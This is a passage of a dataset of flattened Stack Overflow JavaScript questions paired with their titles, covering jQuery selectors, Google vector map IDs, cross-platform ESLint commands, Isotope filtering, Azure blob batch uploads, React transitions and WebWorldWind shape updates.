.matrix ; // update after vectors : perform Gram-Schmidt , but do not normalize if ( k === Math.max ( k - 1 , 1 ) || k > = this.dimensions || Math.max ( k - 1 , 1 ) > = this.dimensions ) { // invariant : there is some issue , something is wrong flag = true ; // invariant is broken console.log ( `` something bad happened ! ( 2 ) '' ) ; } k = Math.max ( k - 1 , 1 ) ; // console.log ( `` else ; k , j '' ) ; // console.log ( k + `` , `` + j ) ; } console.log ( this.matrix_before ) ; console.log ( `` \n '' ) ; } // I added this flag variable to prevent getting exceptions and terminate the loop gracefully console.log ( `` final : `` ) ; console.log ( this.matrix_before ) ; } // calculated mu as been mentioned on Wikipedia// mu ( i , j ) = < b_i , b*_j > / < b*_j , b*_j > mu ( i , j ) { var top = tools.dot_product ( this.matrix_before [ i ] , this.matrix_after [ j ] , this.dimensions ) ; var bottom = tools.dot_product ( this.matrix_after [ j ] , this.matrix_after [ j ] , this.dimensions ) ; return top / bottom ; }","Implementing LLL algorithm as been said on Wikipedia , but getting into serious issues" "JS : Since i discovered the concept of non-blocking scripts i have become obsessed with loading all my external scripts this way.I have even hacked Joomla ! templates ( which i know is a bad practice ) in order to load non-blocking scripts in the index.php file . Example code below.My questions are : When is it good/bad to load non-blocking scripts ? What should be the limit for using non-blocking scripts ? ( function ( ) { var script = document.createElement ( 'script ' ) , head = document.getElementsByTagName ( 'head ' ) [ 0 ] ; script.type = 'text/javascript ' ; script.src = `` http : //www.mywebsite.com/scripts/one_of_many.js '' head.appendChild ( script ) ; } ) ( ) ;",Obsession with non-blocking scripts "JS : I am needing help forming a jquery selector to return elements which are missing a particular child element.Given the following HTML fragment : Find for me the rackunit spans with NO component span.Thus far I have : $ ( `` .rack .rackspace '' ) to get me all of the rackunit spans , not sure how to either exclude those with a component span or select only those without one ... < div id= '' rack1 '' class= '' rack '' > < span id= '' rackunit1 '' class= '' rackspace '' > < span id= '' component1 '' > BoxA < /span > < span id= '' label1 '' > Space A < /span > < /span > < span id= '' rackunit2 '' class= '' rackspace '' > < span id= '' label2 '' > Space B < /span > < /span > < span id= '' rackunit3 '' class= '' rackspace '' > < span id= '' component2 '' > BoxA < /span > < span id= '' label3 '' > Space C < /span > < /span > < /div > < div id= '' rack2 '' class= '' rack '' > < span id= '' rackunit4 '' class= '' rackspace '' > < span id= '' component3 '' > BoxC < /span > < span id= '' label4 '' > Space D < /span > < /span > < span id= '' rackunit5 '' class= '' rackspace '' > < span id= '' label5 '' > Space E < /span > < /span > < span id= '' rackunit6 '' class= '' rackspace '' > < span id= '' component4 '' > BoxD < /span > < span id= '' label6 '' > Space F < /span > < /span > < /div >",jquery selector for an element MISSING a child element "JS : I am trying to create a styleguide with custom components . I need to be able to insert components inside of each other and not sure how to do that inside of the .md file . I have a list and list items . I want to display the list items inside of the list . Getting this error in the styleguidist display . Here are some good examples but none that illustrate what I am trying to accomplish -- https : //github.com/styleguidist/react-styleguidist/tree/master/examples/basic/src/components SyntaxError : Unexpected token ( 3:0 ) 1 : import ListItem from './ListItem ' 2 : 3 : List.tsxList.mdListItem.tsx import React , { Component } from 'react ' import './List.css ' export interface IListProps { /** Type of button to display */ font : string ; disabled : boolean ; mtmClass : string ; link : boolean ; } class List extends Component < IListProps > { render ( ) { const { children } = this.props return < ul className= { 'mtm-list ' } > { children } < /ul > } } export default List `` ` js import ListItem from './ListItem ' < List > < ListItem > Content in a List < /ListItem > < /List > import React , { Component } from 'react ' import './List.css ' export interface IListItemProps { /** Type of button to display */ font : string ; disabled : boolean ; mtmClass : string ; link : boolean ; } class ListItem extends Component < IListItemProps > { render ( ) { const { children } = this.props return < li className= { 'mtm-list-item ' } > { children } < /li > } } export default ListItem",How to render two components inside a .md file for styleguidist in React ? "JS : Using Google Analytics with my Web Pages / Java Script application I just wonder what happens to the statistics when I run ( test ) the pages locally ? Testing the application is done on a local web server , is this included in the statistcis ? Or , in turn , is this the keylineand all `` recording '' is restricted to mydomain.org ? Any idea how this works ? _gaq.push ( [ '_setDomainName ' , 'mydomain.org ' ] ) ;",What happens to Google Analytics when I run the page locally ? "JS : With Google 's raster maps , I could create a map with an initial style like this ( example taken from Google 's documentation ) : Then , I could change the style like this : With the vector based maps , instead of specifying the style in code , I need to specify a map ID . That map ID will have a style that someone configured in the cloud . I created two of these map IDs ( a normal theme and a dark them ) following the instructions here , and then instantiated my map like this : I tested both map IDs to be sure the theme was working . The problem is that I ca n't figure out how to change the map ID after creating the map . I want to allow the user to switch between map IDs . I tried : Is this functionality gone with Google 's vector maps or am I doing it wrong ? I did make sure to include both map IDs when loading Google 's script : var mapStyles = [ { elementType : 'geometry ' , stylers : [ { color : ' # 242f3e ' } ] } ] ; var mapOptions = { center : { lat : 40.674 , lng : -73.945 } , zoom : 12 , styles : mapStyles } ; var map = new google.maps.Map ( document.getElementById ( 'map ' ) , mapOptions ) ; var newStyles = [ { elementType : 'geometry ' , stylers : [ { color : ' # ffffff ' } ] } ] ; map.setOptions ( { styles : newStyles } ) ; var mapOptions = { center : { lat : 40.674 , lng : -73.945 } , zoom : 12 , mapId : 'abcd1234mymapid ' } ; var map = new google.maps.Map ( document.getElementById ( 'map ' ) , mapOptions ) ; // Does not workmap.setOptions ( { mapId : 'efgh5678myothermap ' } ) // Also does not workmap.mapId = 'efgh5678myothermap ' < script src= '' https : //maps.googleapis.com/maps/api/js ? key=KEY & v=weekly & callback=yourInitMapMethod & map_ids=abcd1234mymapid , efgh5678myothermap '' > < /script >",How do I change the mapId of a Google vector map ? "JS : I 'm looking to create a cross-platform package.json command to lint all .js , .ts , .tsx files in the current directory , recursively.Here 's what I 've tried.This is directly from the ESLint CLI docs . *nix - ✅ Windows - On Windows ... No files matching the pattern `` . '' were found . Please check for typing mistakes in the pattern . 2 . GLOB matching pattern . *nix - Windows - ✅ 3 . GLOB matching pattern with quotes . *nix - ✅ Windows - This is a cross-platform project with developers using Mac , Linux , and Windows.How do I get this single command to work on all three ? `` scripts '' : { `` lint '' : `` eslint . -- ext .js , .ts , .tsx '' , } `` scripts '' : { `` lint '' : `` eslint **/*.js **/*.ts **/*.tsx '' , } `` scripts '' : { `` lint '' : `` eslint '**/*.js ' '**/*.ts ' '**/*.tsx ' '' , }",Cross platform ESLint command to run on current directory recursively ? "JS : There are two others topics about this , but they are n't helped me.I have this html : and JS isotope code : It shows automatically all images when page is loaded . So i tried to comment this row : < li data-filter= '' * '' class= '' active '' > < a href= '' '' > All < /a > < /li > It delete it from menu , but still shows all images on page load . If I set class= '' active '' on another category it is marked on page load , but still shows all images and if I click on it , then it shows only images for that category ( but after click ) .Any ideas , how to fix this ? JSFiddle < div class= '' portfolio_inner_area '' > < div class= '' portfolio_filter '' > < ul > < li data-filter= '' * '' class= '' active '' > < a href= '' '' > All < /a > < /li > < li data-filter= '' .photography '' > < a href= '' '' > ARCHITECTURE < /a > < /li > < li data-filter= '' .branding '' > < a href= '' '' > Building < /a > < /li > < li data-filter= '' .webdesign '' > < a href= '' '' > CONSTRUCTION < /a > < /li > < li data-filter= '' .adversting '' > < a href= '' '' > DESIGN < /a > < /li > < li data-filter= '' .painting '' > < a href= '' '' > Painting < /a > < /li > < /ul > < /div > < div class= '' portfolio_item '' > < div class= '' grid-sizer '' > < /div > < div class= '' single_facilities col-xs-4 p0 painting photography adversting '' > < div class= '' single_facilities_inner '' > < img src= '' https : //i.ibb.co/6sJ72xx/sv-6.jpg '' alt= '' '' > < div class= '' gallery_hover '' > < h4 > Construction < /h4 > < ul > < li > < a href= '' # '' > < i class= '' fa fa-link '' aria-hidden= '' true '' > < /i > < /a > < /li > < li > < a href= '' # '' > < i class= '' fa fa-search '' aria-hidden= '' true '' > < /i > < /a > < /li > < /ul > < /div > < /div > < /div > < div class= '' single_facilities col-xs-4 p0 webdesign '' > < div class= '' single_facilities_inner '' > < img src= '' https : //i.ibb.co/ZVwt1mP/sv-1.jpg '' alt= '' '' > < div class= '' gallery_hover '' > < h4 > Construction < /h4 > < ul > < li > < a href= '' # '' > < i class= '' fa fa-link '' aria-hidden= '' true '' > < /i > < /a > < /li > < li > < a href= '' # '' > < i class= '' fa fa-search '' aria-hidden= '' true '' > < /i > < /a > < /li > < /ul > < /div > < /div > < /div > < div class= '' single_facilities col-xs-4 painting p0 photography branding '' > < div class= '' single_facilities_inner '' > < img src= '' https : //i.ibb.co/dDm9P1S/sv-2.jpg '' alt= '' '' > < div class= '' gallery_hover '' > < h4 > Construction < /h4 > < ul > < li > < a href= '' # '' > < i class= '' fa fa-link '' aria-hidden= '' true '' > < /i > < /a > < /li > < li > < a href= '' # '' > < i class= '' fa fa-search '' aria-hidden= '' true '' > < /i > < /a > < /li > < /ul > < /div > < /div > < /div > < div class= '' single_facilities col-xs-4 p0 adversting webdesign adversting '' > < div class= '' single_facilities_inner '' > < img src= '' https : //i.ibb.co/h165CJ0/sv-3.jpg '' alt= '' '' > < div class= '' gallery_hover '' > < h4 > Construction < /h4 > < ul > < li > < a href= '' # '' > < i class= '' fa fa-link '' aria-hidden= '' true '' > < /i > < /a > < /li > < li > < a href= '' # '' > < i class= '' fa fa-search '' aria-hidden= '' true '' > < /i > < /a > < /li > < /ul > < /div > < /div > < /div > < div class= '' single_facilities col-xs-4 p0 painting adversting branding '' > < div class= '' single_facilities_inner '' > < img src= '' https : //i.ibb.co/RcRkDRR/sv-4.jpg '' alt= '' '' > < div class= '' gallery_hover '' > < h4 > Construction < /h4 > < ul > < li > < a href= '' # '' > < i class= '' fa fa-link '' aria-hidden= '' true '' > < /i > < /a > < /li > < li > < a href= '' # '' > < i class= '' fa fa-search '' aria-hidden= '' true '' > < /i > < /a > < /li > < /ul > < /div > < /div > < /div > < div class= '' single_facilities col-xs-4 p0 webdesign photography magazine adversting '' > < div class= '' single_facilities_inner '' > < img src= '' https : //i.ibb.co/QHj581r/sv-5.jpg '' alt= '' '' > < div class= '' gallery_hover '' > < h4 > Construction < /h4 > < ul > < li > < a href= '' # '' > < i class= '' fa fa-link '' aria-hidden= '' true '' > < /i > < /a > < /li > < li > < a href= '' # '' > < i class= '' fa fa-search '' aria-hidden= '' true '' > < /i > < /a > < /li > < /ul > < /div > < /div > < /div > < /div > < /div > //* Isotope Jsfunction portfolio_isotope ( ) { if ( $ ( '.portfolio_item , .portfolio_2 .portfolio_filter ul li ' ) .length ) { // Activate isotope in container $ ( `` .portfolio_item '' ) .imagesLoaded ( function ( ) { $ ( `` .portfolio_item '' ) .isotope ( { itemSelector : `` .single_facilities '' , layoutMode : 'masonry ' , percentPosition : true , masonry : { columnWidth : `` .grid-sizer , .grid-sizer-2 '' } } ) ; } ) ; // Activate isotope in container $ ( `` .portfolio_2 '' ) .imagesLoaded ( function ( ) { $ ( `` .portfolio_2 '' ) .isotope ( { itemSelector : `` .single_facilities '' , layoutMode : 'fitRows ' , } ) ; } ) ; // Add isotope click function $ ( `` .portfolio_filter ul li '' ) .on ( 'click ' , function ( ) { $ ( `` .portfolio_filter ul li '' ) .removeClass ( `` active '' ) ; $ ( this ) .addClass ( `` active '' ) ; var selector = $ ( this ) .attr ( `` data-filter '' ) ; $ ( `` .portfolio_item , .portfolio_2 '' ) .isotope ( { filter : selector , animationOptions : { duration : 450 , easing : `` linear '' , queue : false , } } ) ; return false ; } ) ; } } ;",How to edit / remove ` show all ` view in isotope library ? "JS : My web app currently allows users to upload media one-at-a-time using the following : The media then gets posted to a WebApi controller : Which then does something along the lines of : This is working great for individual uploads , but how do I go about modifying this to support batched uploads of multiple files through a single streaming operation that returns an array of uploaded filenames ? Documentation/examples on this seem sparse . var fd = new FormData ( document.forms [ 0 ] ) ; fd.append ( `` media '' , blob ) ; // blob is the image/video $ .ajax ( { type : `` POST '' , url : '/api/media ' , data : fd } ) [ HttpPost , Route ( `` api/media '' ) ] public async Task < IHttpActionResult > UploadFile ( ) { if ( ! Request.Content.IsMimeMultipartContent ( `` form-data '' ) ) { throw new HttpResponseException ( HttpStatusCode.UnsupportedMediaType ) ; } string mediaPath = await _mediaService.UploadFile ( User.Identity.Name , Request.Content ) ; return Ok ( mediaPath ) ; } public async Task < string > UploadFile ( string username , HttpContent content ) { var storageAccount = new CloudStorageAccount ( new StorageCredentials ( accountName , accountKey ) , true ) ; CloudBlobClient blobClient = storageAccount.CreateCloudBlobClient ( ) ; CloudBlobContainer imagesContainer = blobClient.GetContainerReference ( `` container- '' + user.UserId ) ; var provider = new AzureStorageMultipartFormDataStreamProvider ( imagesContainer ) ; await content.ReadAsMultipartAsync ( provider ) ; var filename = provider.FileData.FirstOrDefault ( ) ? .LocalFileName ; // etc } public class AzureStorageMultipartFormDataStreamProvider : MultipartFormDataStreamProvider { private readonly CloudBlobContainer _blobContainer ; private readonly string [ ] _supportedMimeTypes = { `` images/png '' , `` images/jpeg '' , `` images/jpg '' , `` image/png '' , `` image/jpeg '' , `` image/jpg '' , `` video/webm '' } ; public AzureStorageMultipartFormDataStreamProvider ( CloudBlobContainer blobContainer ) : base ( `` azure '' ) { _blobContainer = blobContainer ; } public override Stream GetStream ( HttpContent parent , HttpContentHeaders headers ) { if ( parent == null ) throw new ArgumentNullException ( nameof ( parent ) ) ; if ( headers == null ) throw new ArgumentNullException ( nameof ( headers ) ) ; if ( ! _supportedMimeTypes.Contains ( headers.ContentType.ToString ( ) .ToLower ( ) ) ) { throw new NotSupportedException ( `` Only jpeg and png are supported '' ) ; } // Generate a new filename for every new blob var fileName = Guid.NewGuid ( ) .ToString ( ) ; CloudBlockBlob blob = _blobContainer.GetBlockBlobReference ( fileName ) ; if ( headers.ContentType ! = null ) { // Set appropriate content type for your uploaded file blob.Properties.ContentType = headers.ContentType.MediaType ; } this.FileData.Add ( new MultipartFileData ( headers , blob.Name ) ) ; return blob.OpenWrite ( ) ; } }",Batched Media Upload to Azure Blob Storage through WebApi "JS : I have the following JavaScript array : This is the array representation in my browser console.Unfortunatelly I can not find a way to remove the elements of the $ errors [ ' # ad ' ] [ ' # image_upload ' ] based on the md5 keys.In example , let 's say I like to remove the message `` Yet another error '' by using the corresponding md5 key 69553926a7783c27f7c18eff55cbd429.I have try the method indexOf but this is not the correct one , as return the index of the value in the array . What I need is the opposite , I need to remove the value directly by using the index of the value.How can I perform this task ? Any idea ? [ # ad : Array [ 0 ] ] # ad : Array [ 0 ] # image_upload : Array [ 0 ] 13b7afb8b11644e17569bd2efb571b10 : `` This is an error '' 69553926a7783c27f7c18eff55cbd429 : `` Yet another error '' d3042d83b81e01d5c2b8bbe507f0d709 : `` Another error '' Array [ 0 ] # image_url : Array [ 0 ] 2b4a9847e26368312704b8849de9247a : `` URL error ''",Remove array item by index ( not numeric index but string ) "JS : Sometimes on my page I do a lot of ajax calls at once , concurrently . The idea is that every element gets updated as its data becomes available ( I do not want to queue the calls ) . Sometimes , however , the webpage will not update any elements until all the ajax calls are complete . For example , I have four pictures in a row that I am updating - each image has its own ajax callback that will update its source once that data is available ; the code looks something like this : the callback_function puts the image into its UI element once its ready : ( data is the objects this function received from the server ) I am using ( as you can see in the example ) dajax ( plugin for django ) for the AJAX functionality . On the server side I have an Apache ( 2.2 ) running django 1.3 via mod_wsgi.When executed , even though some ajax calls finish earlier ( I can see it on my server ) , the page will not update any elements until the last call comes back.Any suggestions ? Thanks , for ( var i = 0 ; i < numPictures ; i++ ) { Dajaxice.Images.load_picture ( callback_function , { 'pictureId ' : i } ) ; } imgSnippet = ' < img src= '' ' + data.img_source + ' '' / > ' $ ( `` # '' + data.container_id ) .html ( imgSnippet ) ;",Page waits for all AJAX calls to complete before updating "JS : I have a function that is repeated a few times , and I believe it is possible to simplify and send variables from an array.Maybe just change the categories into a variable and send the catergories from an array ? var i = masterdata.timing.split ( ' , ' ) ; var index = 0 ; for ( index = 0 ; index < i.length ; ++index ) { $ ( `` # timing_ '' + i [ index ] .trim ( ) ) .prop ( 'checked ' , true ) ; } var i = masterdata.concern.split ( ' , ' ) ; var index = 0 ; for ( index = 0 ; index < i.length ; ++index ) { $ ( `` # concern_ '' + i [ index ] .trim ( ) ) .prop ( 'checked ' , true ) ; } var i = masterdata.steps.split ( ' , ' ) ; var index = 0 ; for ( index = 0 ; index < i.length ; ++index ) { $ ( `` # steps_ '' + i [ index ] .trim ( ) ) .prop ( 'checked ' , true ) ; } var chkgroup = [ 'timing , concern , steps ' ]","Simplify my function ( loop , array ) ?" "JS : I always assumed that < var > += 1 and < var > = < var > + 1 have the same semantics in JS.Now , this CoffeeScript code compiles to different JavaScript when applied to the global variable e : Note that b uses the global variable , whereas a defines a local variable : Try it yourself.Is this a bug or is there a reason why this is so ? a : - > e = e + 1b : - > e += 1 ( { a : function ( ) { var e ; return e = e + 1 ; } , b : function ( ) { return e += 1 ; } } ) ;",Why do e += 1 and e = e + 1 compile differently in CoffeeScript ? "JS : So the challenge that I 've created for myself is as such.I have a source photo : That I am mapping color values and creating a pixelated representation of it using divsHere 's the result : The code that I 'm accomplishing this with is : The pixelDensity variable controls how close together the color samples are . The smaller the number , the fewer the samples , taking less time to produce the result . As you increase the number , the samples go up and the function slows down considerably.I 'm curious to know what is making this thing take such a long time . I 've looked at slightly similar projects - most notably Jscii - which process the image data much faster , but I ca n't figure out what the difference is that 's offering the added performance.Thanks for your help ! 'use strict ' ; var imageSource = 'images/unicorn.jpg ' ; var img = new Image ( ) ; img.src = imageSource ; var canvas = $ ( ' < canvas/ > ' ) [ 0 ] ; canvas.width = img.width ; canvas.height = img.height ; canvas.getContext ( '2d ' ) .drawImage ( img , 0 , 0 , img.width , img.height ) ; var context = canvas.getContext ( '2d ' ) ; console.log ( 'img height : ' + img.height ) ; console.log ( 'img width : ' + img.width ) ; var pixelDensity = 70 ; var timerStart = new Date ( ) ; for ( var i = pixelDensity/2 ; i < img.height ; i += ( img.height/pixelDensity ) ) { $ ( '.container ' ) .append ( $ ( ' < div class= '' row '' > ' ) ) ; for ( var j = pixelDensity/2 ; j < img.width ; j += img.height/pixelDensity ) { var value = context.getImageData ( j , i , 1 , 1 ) .data ; var colorValue = 'rgb ( ' + value [ 0 ] + ' , ' + value [ 1 ] + ' , ' + value [ 2 ] + ' ) ' ; $ ( '.row : last ' ) .append ( $ ( ' < div class= '' block '' > ' ) .css ( { 'background-color ' : colorValue } ) ) ; } } var timerStop = new Date ( ) ; console.log ( timerStop - timerStart + ' ms ' ) ;",Javascript - Image data processing and div rendering "JS : I have gone through the definitions of the two like : Pure functions are ones that do not attempt to change their inputs , and always return the same result for the same inputs.ExampleAnd Impure function is one that changes its own input.ExampleDefinitions and Code snippets are taken from ReactJs official docs.Now , can somebody tell me , how can I mistakenly make functions impure in React/Redux , where pure functions are required ? function sum ( a , b ) { return a + b ; } function withdraw ( account , amount ) { account.total -= amount ; }",ReactJS/Redux - Pure vs Impure Javascript functions ? "JS : In Visual Studio 2015 Update 3 , I have created a JavaScript - > Windows - > Windows 8 - > Windows Phone - > Blank App ( Windows Phone ) project . I then changed the default.html to include a < select > element like this : When tapping on the select element , the application crashes onWindows Mobile 10 with : This happens on devices and the Windows Mobile 10 emulator . Windows Phone 8 does not seem to have this problem . Until recently , this worked fine on Windows Mobile 10 as well . Perhaps an update caused this ? Interestingly , Cordova and UWP are also affected . Is there a known solution yet ? < ! DOCTYPE html > < html > < head > < meta charset= '' utf-8 '' / > < title > App1 < /title > < ! -- WinJS references -- > < ! -- At runtime , ui-themed.css resolves to ui-themed.theme-light.css or ui-themed.theme-dark.css based on the user ’ s theme setting . This is part of the MRT resource loading functionality . -- > < link href= '' /css/ui-themed.css '' rel= '' stylesheet '' / > < script src= '' //Microsoft.Phone.WinJS.2.1/js/base.js '' > < /script > < script src= '' //Microsoft.Phone.WinJS.2.1/js/ui.js '' > < /script > < ! -- App1 references -- > < link href= '' /css/default.css '' rel= '' stylesheet '' / > < script src= '' /js/default.js '' > < /script > < /head > < body class= '' phone '' > < select > < option > Val < /option > < option > Val < /option > < option > Val < /option > < option > Val < /option > < /select > < /body > < /html > 'WWAHost.exe ' ( Script ) : Loaded 'Script Code ( MSAppHost/2.0 ) ' . The program ' [ 3976 ] WWAHost.exe ' has exited with code -1073741819 ( 0xc0000005 ) 'Access violation ' .",Cordova/UWP Windows Mobile 10 Access Violation on HTML select element "JS : I have a function that looks likeIn this example , I want to make sure klasses is of the same length as the array that T is . How do make klasses of type any [ ] with the same length as T ? UpdateBased on the comments , I 've updated this to export function is < T extends any [ ] > ( ... klasses ) : Predictor < T > { return ( ... variables : T ) = > { return variables .every ( ( variable , index ) = > variable instanceof klasses [ index ] ) ; } } export function is < T extends Array < any > > ( ... klasses : any [ ] & { length : T [ 'length ' ] } ) : Predictor < T > { return ( ... variables : T ) = > { return variables .every ( ( variable , index ) = > variable instanceof klasses [ index ] ) ; } }",Typescript length of a generic type "JS : I am writing a script in which I need to clone arrays in many different places . For this reason , I would like to do the following to emulate a cloning function : Unfortunately , the above code results in : TypeError : object is not a function . I realize there are many functions out there to do deep cloning and shallow copies but I just want to use the built in method . Interestingly enough , the following does work : Does anyone know why the first block does n't work while the second does ? Is there any way to reference a functions call and apply functions without throwing errors when calling the referenced function ? var clone = [ ] .slice.call ; var arr1 = [ 1,2,3,4,5,6,7,8,9,10 ] ; var arr2 = clone ( arr1 , 0 ) ; var clone = [ ] .slice ; var arr1 = [ 1,2,3,4,5,6,7,8,9,10 ] ; var arr2 = clone.call ( arr1 , 0 ) ;",How do you reference Array.prototype.slice.call ( ) ? "JS : What I 'm doingEdit : I created a repo with a simplified version of my problem reproducing the issue.I 'm trying to set up automated frontend testings with browserstack , selenium-webdriver and tape.More about tapeThe idea is to define multiple browsers and devices which have to be tested one after another with X amount of given tests . In the example below I define only one test and two browsers on OSX.In order to define the browsers only once and handle tests I created a repo test-runner which should be added as dev-dependency to the repos which need to be tested on the given devices and browsers.The test-runner gets all needed tests passed , starts the first browser , runs the tests on that browser and once all tests are done the browser is closed quit ( ) and the next browser gets started and tests again.test-runner/index.jsIf you 're wondering how this asyncForEach function works I got it from here.my-repo/test/front/index.js/test/front/test.js/package.jsonWhen I want to run the tests I execute npm run test in my-repoRemember , that we have only one test ( but could also be multiple tests ) and two browsers defined so the behaviour should be : Start browser 1 and navigate ( Chrome ) One test on browser 1 ( Chrome ) Close browser 1 ( Chrome ) Start browser 2 and navigate ( Safari ) One test on browser 2 ( Safari ) Close browser 2 ( Safari ) doneThe ProblemThe asynchronous stuff seems to be working just fine , the browsers are started one after another as intended . The problem is , that the first test does not finish even when i call t.end ( ) and I do n't get to the second test ( fails right after 4 . ) .What I triedI tried using t.pass ( ) and also running the CLI with NODE_ENV=development tape test/front/ | tap-spec but it did n't help.I also noticed , that when I do n't resolve ( ) in test.js the test ends just fine but of course I do n't get to the next test then.I also tried to adapt my code like the solution from this issue but did n't manage to get it work.Meanwhile I also opened an issue on tapes github page.So I hope the question is not too much of a pain to read and any help would be greatly appreciated . const webdriver = require ( 'selenium-webdriver ' ) // -- -// default browser configs// -- -const defaults = { `` os '' : `` OS X '' , `` os_version '' : `` Mojave '' , `` resolution '' : `` 1024x768 '' , `` browserstack.user '' : `` username '' , `` browserstack.key '' : `` key '' , `` browserstack.console '' : `` errors '' , `` browserstack.local '' : `` true '' , `` project '' : `` element '' } // -- -// browsers to test// -- -const browsers = [ { `` browserName '' : `` Chrome '' , `` browser_version '' : `` 41.0 '' } , { `` browserName '' : `` Safari '' , `` browser_version '' : `` 10.0 '' , `` os_version '' : `` Sierra '' } ] module.exports = ( tests , url ) = > { // -- - // Asynchronous forEach loop // helper function // -- - async function asyncForEach ( array , callback ) { for ( let index = 0 ; index < array.length ; index++ ) { await callback ( array [ index ] , index , array ) } } // -- - // runner // -- - const run = async ( ) = > { // -- - // Iterate through all browsers and run the tests on them // -- - await asyncForEach ( browsers , async ( b ) = > { // -- - // Merge default configs with current browser // -- - const capabilities = Object.assign ( { } , defaults , b ) // -- - // Start and connect to remote browser // -- - console.info ( ' -- Starting remote browser hang on -- ' , capabilities.browserName ) const browser = await new webdriver.Builder ( ) . usingServer ( 'http : //hub-cloud.browserstack.com/wd/hub ' ) . withCapabilities ( capabilities ) . build ( ) // -- - // Navigate to page which needs to be checked ( url ) // -- - console.log ( ' -- Navigate to URL -- ' ) await browser.get ( url ) // -- - // Run the tests asynchronously // -- - console.log ( ' -- Run tests -- - ' ) await asyncForEach ( tests , async ( test ) = > { await test ( browser , url , capabilities , webdriver ) } ) // -- - // Quit the remote browser when all tests for this browser are done // and move on to next browser // Important : if the browser is quit before the tests are done // the test will throw an error beacause there is no connection // anymore to the browser session // -- - browser.quit ( ) } ) } // -- - // Start the tests // -- - run ( ) } const testRunner = require ( 'test-runner ' ) const url = ( process.env.NODE_ENV == 'development ' ) ? 'http : //localhost:8888/element/ ... ' : 'https : //staging-url/element/ ... '// tests to runconst tests = [ require ( './test.js ' ) ] testRunner ( tests , url ) const tape = require ( 'tape ' ) module.exports = async ( browser , url , capabilities , driver ) = > { return new Promise ( resolve = > { tape ( ` Frontend test $ { capabilities.browserName } $ { capabilities.browser_version } ` , async ( t ) = > { const myButton = await browser.wait ( driver.until.elementLocated ( driver.By.css ( 'my-button : first-of-type ' ) ) ) myButton.click ( ) const marked = await myButton.getAttribute ( 'marked ' ) t.ok ( marked == `` true '' , 'Button marked ' ) // -- - // Test should end now // -- - t.end ( ) resolve ( ) } ) } ) } { ... `` scripts '' : { `` test '' : `` NODE_ENV=development node test/front/ | tap-spec '' , `` travis '' : `` NODE_ENV=travis node test/front/ | tap-spec '' } ... }",Tape `` test exited without ending '' error with asynchronous forEach loops "JS : I 'm trying to appearance/disappearance the notification , but transitionAppear does n't work . I add item ( notification popup ) to the onBlur event . Animation at the time of leave works smoothly and at the time of appear it just appears abruptly without transition . In the React recently , do not swear strongly : DP.S.If I add ReactCSSTransitionGroup in alert.js -appear works , but leave - no.CodeSandbox : https : //codesandbox.io/s/l26j10613q ( on CodeSandbox I used ReactCSSTransitionGroup in alert.js , so appear works , but leave — no ) alert.js : alert.css : What I do in input.js : Example : export default class Alert extends Component { render ( ) { const { icon , text } = this.props ; let classNames = `` cards-wrapper-alert '' ; return ( < div className= { classNames } > < Card zIndex= '' 2 '' > < Icon icon= { icon } eClass= '' alert-message-icon '' / > < Label text= { text } fw= '' fw-medium '' fs= '' fs-14 '' fc= '' c-dark '' / > < /Card > < /div > ) ; } } .alert-appear { max-height : 0 ; overflow : hidden ; } .alert-appear.alert-appear-active { max-height : 80px ; transition : max-height 300ms ease-in-out ; } .alert-leave { max-height : 80px ; } .alert-leave.alert-leave-active { max-height : 0 ; overflow : hidden ; transition : max-height 300ms ease-in-out ; } < ReactCSSTransitionGroup component= { this.prepareComponentForAnimation } transitionName= '' alert '' transitionEnter= { false } transitionAppear= { true } transitionAppearTimeout= { 400 } transitionLeaveTimeout= { 400 } > { this.state.alert ? < Alert icon= { this.state.icon } text= { this.state.text } / > : null } < /ReactCSSTransitionGroup >",ReactCSSTransitionGroup : transitionAppear does n't work "JS : I am trying to `` move '' renderables around the web worldwind globe on an interval . To illustrate the issue I am having , I made a small example.This works ( but is inefficient ) : This is what I 'd like to do , but the shape does n't move : Is there a flag I need to set on the renderable to make it refresh ? Here is the full SurfaceShapes.js file I 've been playing with ( based on this http : //worldwindserver.net/webworldwind/examples/SurfaceShapes.html ) : var myVar = setInterval ( myTimer , 5000 ) ; function myTimer ( ) { shapesLayer.removeRenderable ( shape ) ; shape = new WorldWind.SurfaceCircle ( new WorldWind.Location ( shape.center.latitude+1 , shape.center.longitude ) , 200e3 , attributes ) ; shapesLayer.addRenderable ( shape ) ; console.log ( `` new pos `` +shape.center.latitude + `` `` +shape.center.longitude ) ; wwd.redraw ( ) ; } var myVar = setInterval ( myTimer , 5000 ) ; function myTimer ( ) { shape.center = new WorldWind.Location ( shape.center.latitude+1 , shape.center.longitude ) ; console.log ( `` new pos `` +shape.center.latitude + `` `` +shape.center.longitude ) ; wwd.redraw ( ) ; } /* * Copyright ( C ) 2014 United States Government as represented by the Administrator of the * National Aeronautics and Space Administration . All Rights Reserved . *//** * Illustrates how to display SurfaceShapes . * * @ version $ Id : SurfaceShapes.js 3320 2015-07-15 20:53:05Z dcollins $ */requirejs ( [ '../src/WorldWind ' , './LayerManager ' ] , function ( ww , LayerManager ) { `` use strict '' ; // Tell World Wind to log only warnings . WorldWind.Logger.setLoggingLevel ( WorldWind.Logger.LEVEL_WARNING ) ; // Create the World Window . var wwd = new WorldWind.WorldWindow ( `` canvasOne '' ) ; /** * Added imagery layers . */ var layers = [ { layer : new WorldWind.BMNGLayer ( ) , enabled : true } , { layer : new WorldWind.BingAerialWithLabelsLayer ( null ) , enabled : true } , { layer : new WorldWind.CompassLayer ( ) , enabled : true } , { layer : new WorldWind.CoordinatesDisplayLayer ( wwd ) , enabled : true } , { layer : new WorldWind.ViewControlsLayer ( wwd ) , enabled : true } ] ; for ( var l = 0 ; l < layers.length ; l++ ) { layers [ l ] .layer.enabled = layers [ l ] .enabled ; wwd.addLayer ( layers [ l ] .layer ) ; } // Create a layer to hold the surface shapes . var shapesLayer = new WorldWind.RenderableLayer ( `` Surface Shapes '' ) ; wwd.addLayer ( shapesLayer ) ; // Create and set attributes for it . The shapes below except the surface polyline use this same attributes // object . Real apps typically create new attributes objects for each shape unless they know the attributes // can be shared among shapes . var attributes = new WorldWind.ShapeAttributes ( null ) ; attributes.outlineColor = WorldWind.Color.BLUE ; attributes.drawInterior = false ; attributes.outlineWidth = 4 ; attributes.outlineStippleFactor = 1 ; attributes.outlineStipplePattern = 0xF0F0 ; var highlightAttributes = new WorldWind.ShapeAttributes ( attributes ) ; highlightAttributes.interiorColor = new WorldWind.Color ( 1 , 1 , 1 , 1 ) ; // Create a surface circle with a radius of 200 km . var shape = new WorldWind.SurfaceCircle ( new WorldWind.Location ( 35 , -120 ) , 200e3 , attributes ) 